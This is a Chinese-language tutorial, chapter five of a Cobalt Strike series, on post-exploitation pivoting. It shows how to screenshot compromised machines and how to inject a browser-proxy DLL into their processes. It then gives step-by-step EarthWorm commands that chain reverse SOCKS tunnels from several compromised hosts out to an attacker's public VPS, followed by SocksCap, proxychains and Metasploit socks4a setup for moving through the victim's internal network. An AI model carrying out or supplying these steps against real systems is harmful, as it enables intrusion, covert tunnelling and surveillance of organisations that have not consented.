
Cobalt Strike系列教程分享如約而至,新關注的小伙伴可以先回顧一下前面的內容:

Cobalt Strike系列教程第四章:文件/進程管理與鍵盤記錄
今天我們將繼續分享Cobalt Strike系列教程的其他章節內容,希望對大家的學習有所幫助,快速提升實用技能。
截圖與瀏覽器代理
截圖
選擇一個beacon,右鍵,目標-->屏幕截圖:

然后點擊菜單欄上的“屏幕截圖”按鈕,如圖,成功查看到截圖:

瀏覽器代理
選擇一個beacon,右鍵,目標-->瀏覽器代理

配置好相關的端口信息后,點擊開始,即可使用目標機的指定端口作為瀏覽器代理。

隨后cobaltstrike就會注入瀏覽器代理dll到進程中,我們通過配置我們服務器的IP,端口(本例中為123.207.x/x),即可使用目標機作為瀏覽器代理。

內置Socks與神器EW
Socks概念
目前利用網絡防火牆將組織內部的網絡結構與外部網絡如 INTERNET 中有效地隔離開來,這種方法正變得逐漸流行起來。這些防火牆系統通常以應用層網關的形式工作在網絡之間,提供受控的 TELNET 、 FTP 、 SMTP 等的接入。SOCKS 提供一個通用框架來使這些協議安全透明地穿過防火牆。
說的簡單明了一點,在滲透測試中,我們使用socks技術,可以穿透進入目標機的內網,從而擴大我們的戰果。

Cobaltstrike自帶Socks功能
選擇一個beacon,右鍵,中轉-->SOCKS Server,或使用命令socks [port]

彈出一個窗口,按要求配置好代理端口。

如圖,成功開啟socks 4,連接我們teamserver的5126端口,即可進入目標機內網。

使用ew+SocksCap穿透到目標機內網
Earthworm
Ew(Earthworm)是一款當之無愧的內網穿透大殺器,應用的平台非常廣泛,包括:
ew_for_Win.exe 適用各種Windows系統(X86指令集、X64指令集) Windows7、Windows XP
ew_for_Linux32 各常見Linux發行版 (X86 指令集 CPU) Ubuntu(X86)/BT5(X86)
ew_for_linux64 各常見Linux發行版 (X64 指令集 CPU) Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64 MacOS系統發行版 (X64 指令集) 蘋果PC電腦,蘋果server
ew_for_Arm32 常見Arm-Linux系統 HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel 常見Mips-Linux系統 (Mipsel指令集 CPU) 螢石硬盤錄像機、小米mini路由器(R1CM)
下面簡單講一下它的應用場景和命令:
1、正向socks v5服務器 【適用於目標機擁有一個外網IP】
服務器端執行以下命令:
ew.exe -s ssocksd -l 888
說明:服務器開啟端口為888,SOCKS的代理。然后使用sockscap64添加這個IP的代理就可以使用了。
2、反彈socks v5服務器 【適用於目標機器沒有公網IP,但可訪問內網資源】
本地執行以下命令:
ew.exe -s rcsocks -l 1008 -e 888
說明:該命令的意思是在我們公網VPS上添加一個轉接隧道,把1080端口收到的代理請求轉交給888端口。
服務器端執行以下命令:
ew.exe -s rssocks -d 2.2.2.2 -e 888
說明:該命令的意思是在服務器上啟動SOCKS V5服務,並反彈到IP地址為2.2.2.2的服務器888端口上。
3、二級網絡環境(一)
假設我們獲得了右側A主機和B主機的控制權:
A主機配有2塊網卡,一塊連通外網,一塊10.48.128.25只能連接內網B主機,無法訪問內網其它資源。
B主機可以訪問內網資源,但無法訪問外網。
A.先上傳ew到B主機,利用ssocksd方式啟動888端口的SOCKS代理,命令如下:
ew -s ssocksd -l 888
B.上傳ew到右側A主機,運行下列命令:
ew -s lcx_tran -l 1080 -f 10.48.128.49 -g 888
說明:該命令意思是將1080端口收到的代理請求轉交給B主機(10.48.128.49)的888端口。
C.可以通過訪問A主機外網139.XXX.XX.113:1080來使用在B主機架設的socks5代理。
4、網絡環境(二)
假設我們獲得了右側A主機和B主機的控制權限:
A主機沒有公網IP,也無法訪問內網資源。B主機可以訪問內網資源,但無法訪問外網。
這個操作分為4步,用到lcx_listen和lcx_slave命令:
A. 先上傳ew 到左側公網VPS上,運行下列命令:
ew –s lcx_listen –l 10800 –e 888
說明:該命令意思是在公網VPS添加轉接隧道,將10800端口收到的代理請求轉交給888端口。
B.上傳ew到B主機,並利用ssocksd方式啟動999端口的socks代理,命令如下:
ew -s ssocksd -l 999
C.上傳ew 到A主機,運行下列命令:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.49 -g 999
說明:該命令意思是在A主機上利用lcx_slave方式,將公網VPS的888端口和B主機的999端口連接起來。
D. 返回我們公網VPS的CMD界面下,可以看到已經連接成功了。
現在就可以通過訪問公網VPS地址 139.XXX.XX.113:10800來使用在B主機架設的socks5代理。
5、三級網絡環境
三級網絡環境在實際滲透中用的比較少,也比較復雜,現在我們來一個個的講解下三級級聯的用法。
假設滲透場景:
內網A主機沒有公網IP但可以訪問外網
B主機不能訪問外網但可以被A主機訪問、C主機可被B主機訪問而且能夠訪問核心區域。
A.在左側公網VPS上運行命令,將1080端口收到的代理請求轉交給888端口:
ew -s rcsocks -l 1080 -e 888
B.在A主機上運行命令,將公網VPS的888端口和B主機的999端口連接起來:
ew -s lcx_slave -d 139.XXX.XX.113 -e 888 -f 10.48.128.12 -g 999
C.在B主機上運行命令,將999端口收到的代理請求轉交給777端口:
ew -s lcx_listen -l 999 -e 777
D.在C主機上啟動SOCKS V5服務,並反彈到B主機的777端口上,命令如下。
ew -s rssocks -d 10.48.128.12 -e 777
E.在MY PC上可以通過訪問公網VPS 139.XXX.XX.113:1080來使用在C主機架設的socks5代理。
整個數據流向是:SOCKS V5 → 1080 → 888 →999 →777 → rssocks
6、實戰場景
本次測試目標機器沒有公網IP,但可訪問內網資源。
①我們在teamserver上運行以下命令
ew.exe -s rcsocks -l 1008 -e 888
接受888端口數據,然后轉發到1008端口:

②然后我們在目標機上傳ew,然后在cs中執行:
ew.exe -s rssocks -d 2.2.2.2 -e 888(2.2.2.2為teamserver)

③隨后,我們的teamserver就會顯示連接成功:
使用SocksCap連接socks
根據自己的Windows版本以管理員模式運行SocksCap后,點擊代理,添加自己teamserver的ip和剛剛轉發出來的端口。

在這里把代理切換成剛剛添加的:

右鍵,添加一個exe文件,根據你的需求,添加要在socks隧道中運行的程序。

選擇程序,右鍵-->在代理隧道中運行選中程序,該程序即可通過socks進入目標內網。

如圖,為連入socks通道的cmd ping目標機的某內網ip。

在Kali中Metasploit使用socks通道
使用cs搭建好socks4通道后,首先配置神器proxychains。
在/etc/proxychains.conf配置文件中添加新的代理服務器。通過激活動態鏈設置,確保在不同的代理服務器之間能夠正常切換。

然后在MSF中,配置socks4隧道即可讓MSF進入目標機內網大殺四方。
(2.2.2.2為teamserver的ip,1081為socks端口)
msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > set SRVHOST 2.2.2.2
msf auxiliary(socks4a) > set SRVPORT 1081
SRVPORT => 1081
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >

以上是今天的內容,大家看懂了嗎?后面我們將持續更新Cobalt Strike系列的知識點,希望大家及時關注。